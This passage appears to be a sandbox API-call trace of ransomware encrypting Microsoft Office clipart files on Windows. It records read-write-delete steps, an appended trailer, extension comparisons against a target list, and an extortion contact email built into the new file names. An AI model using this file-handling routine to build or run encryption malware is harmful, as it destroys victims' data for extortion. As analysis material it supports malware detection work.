lpFileSize=0x23dff1c*=1220) returned 1 [0224.576] CloseHandle (hObject=0x1d8) returned 1 [0224.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 0x20 [0224.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.576] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.576] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.577] GetLastError () returned 0x0 [0224.577] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x4c4, lpOverlapped=0x0) returned 1 [0224.585] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0224.586] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.586] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.586] SetEndOfFile (hFile=0x218) returned 1 [0224.586] CloseHandle (hObject=0x218) returned 1 [0224.586] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.586] SetEndOfFile (hFile=0x1d8) returned 1 [0224.587] CloseHandle (hObject=0x1d8) returned 1 [0224.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0224.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0224.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0224.587] lstrlenW (lpString=".doc") returned 4 [0224.587] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.587] lstrlenW (lpString=".docx") returned 5 [0224.587] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0224.587] lstrlenW (lpString=".pdf") returned 4 [0224.587] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.587] lstrlenW (lpString=".xls") returned 4 [0224.587] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.587] lstrlenW (lpString=".xlsx") returned 5 [0224.587] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0224.587] lstrlenW (lpString=".ppt") returned 4 [0224.587] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0224.587] lstrlenW (lpString=".zip") returned 4 [0224.587] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.587] lstrlenW (lpString=".rar") returned 4 [0224.587] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.587] lstrlenW (lpString=".bz2") returned 4 [0224.588] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.588] lstrlenW (lpString=".7z") returned 3 [0224.588] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0224.588] lstrlenW (lpString=".dbf") returned 4 [0224.588] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0224.588] lstrlenW (lpString=".1cd") returned 4 [0224.588] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0224.588] lstrlenW (lpString=".jpg") returned 4 [0224.588] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.590] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=9734) returned 1 [0224.590] CloseHandle (hObject=0x1d8) returned 1 [0224.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 0x20 [0224.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.591] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.591] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.591] GetLastError () returned 0x0 [0224.591] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2606, lpOverlapped=0x0) returned 1 [0224.691] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2610, lpOverlapped=0x0) returned 1 [0224.692] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.692] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.692] SetEndOfFile (hFile=0x218) returned 1 [0224.692] CloseHandle (hObject=0x218) returned 1 [0224.693] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.693] SetEndOfFile (hFile=0x1d8) returned 1 [0224.693] CloseHandle (hObject=0x1d8) returned 1 [0224.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0224.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0224.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0224.694] lstrlenW (lpString=".doc") returned 4 [0224.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.694] lstrlenW (lpString=".docx") returned 5 [0224.694] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0224.694] lstrlenW (lpString=".pdf") returned 4 [0224.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.694] lstrlenW (lpString=".xls") returned 4 [0224.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.694] lstrlenW (lpString=".xlsx") returned 5 [0224.694] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0224.694] lstrlenW (lpString=".ppt") returned 4 [0224.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0224.694] lstrlenW (lpString=".zip") returned 4 [0224.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.694] lstrlenW (lpString=".rar") returned 4 [0224.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.694] lstrlenW (lpString=".bz2") returned 4 [0224.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.694] lstrlenW (lpString=".7z") returned 3 [0224.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0224.694] lstrlenW (lpString=".dbf") returned 4 [0224.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0224.694] lstrlenW (lpString=".1cd") returned 4 [0224.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0224.694] lstrlenW (lpString=".jpg") returned 4 [0224.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.695] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=3332) returned 1 [0224.695] CloseHandle (hObject=0x1d8) returned 1 [0224.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 0x20 [0224.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.695] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.695] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.696] GetLastError () returned 0x0 [0224.696] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xd04, lpOverlapped=0x0) returned 1 [0224.703] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xd10, lpOverlapped=0x0) returned 1 [0224.708] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.709] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.709] SetEndOfFile (hFile=0x218) returned 1 [0224.709] CloseHandle (hObject=0x218) returned 1 [0224.709] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.709] SetEndOfFile (hFile=0x1d8) returned 1 [0224.709] CloseHandle (hObject=0x1d8) returned 1 [0224.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090777.wmf")) returned 1 [0224.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0224.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0224.710] lstrlenW (lpString=".doc") returned 4 [0224.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.710] lstrlenW (lpString=".docx") returned 5 [0224.710] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0224.710] lstrlenW (lpString=".pdf") returned 4 [0224.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.710] lstrlenW (lpString=".xls") returned 4 [0224.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.710] lstrlenW (lpString=".xlsx") returned 5 [0224.710] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0224.710] lstrlenW (lpString=".ppt") returned 4 [0224.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0224.710] lstrlenW (lpString=".zip") returned 4 [0224.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.710] lstrlenW (lpString=".rar") returned 4 [0224.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.710] lstrlenW (lpString=".bz2") returned 4 [0224.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.710] lstrlenW (lpString=".7z") returned 3 [0224.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0224.710] lstrlenW (lpString=".dbf") returned 4 [0224.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0224.710] lstrlenW (lpString=".1cd") returned 4 [0224.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090777.WMF") returned 63 [0224.710] lstrlenW (lpString=".jpg") returned 4 [0224.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.711] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=6934) returned 1 [0224.711] CloseHandle (hObject=0x1d8) returned 1 [0224.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 0x20 [0224.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.711] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.711] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.712] GetLastError () returned 0x0 [0224.712] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1b16, lpOverlapped=0x0) returned 1 [0224.753] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0224.754] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.754] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.755] SetEndOfFile (hFile=0x218) returned 1 [0224.755] CloseHandle (hObject=0x218) returned 1 [0224.755] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.755] SetEndOfFile (hFile=0x1d8) returned 1 [0224.756] CloseHandle (hObject=0x1d8) returned 1 [0224.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0224.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0224.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0224.756] lstrlenW (lpString=".doc") returned 4 [0224.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0224.756] lstrlenW (lpString=".docx") returned 5 [0224.756] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0224.756] lstrlenW (lpString=".pdf") returned 4 [0224.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0224.756] lstrlenW (lpString=".xls") returned 4 [0224.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0224.756] lstrlenW (lpString=".xlsx") returned 5 [0224.756] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0224.756] lstrlenW (lpString=".ppt") returned 4 [0224.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0224.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0224.756] lstrlenW (lpString=".zip") returned 4 [0224.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0224.757] lstrlenW (lpString=".rar") returned 4 [0224.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0224.757] lstrlenW (lpString=".bz2") returned 4 [0224.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0224.757] lstrlenW (lpString=".7z") returned 3 [0224.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0224.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0224.757] lstrlenW (lpString=".dbf") returned 4 [0224.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0224.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0224.757] lstrlenW (lpString=".1cd") returned 4 [0224.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0224.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0224.757] lstrlenW (lpString=".jpg") returned 4 [0224.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0224.757] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=4970) returned 1 [0224.757] CloseHandle (hObject=0x1d8) returned 1 [0224.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf")) returned 0x20 [0224.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0224.758] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.758] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0224.765] GetLastError () returned 0x0 [0224.765] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x136a, lpOverlapped=0x0) returned 1 [0224.795] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1370, lpOverlapped=0x0) returned 1 [0224.796] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.796] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.796] SetEndOfFile (hFile=0x218) returned 1 [0224.796] CloseHandle (hObject=0x218) returned 1 [0224.796] SetFilePointerEx (in: hFile=0x1d8, 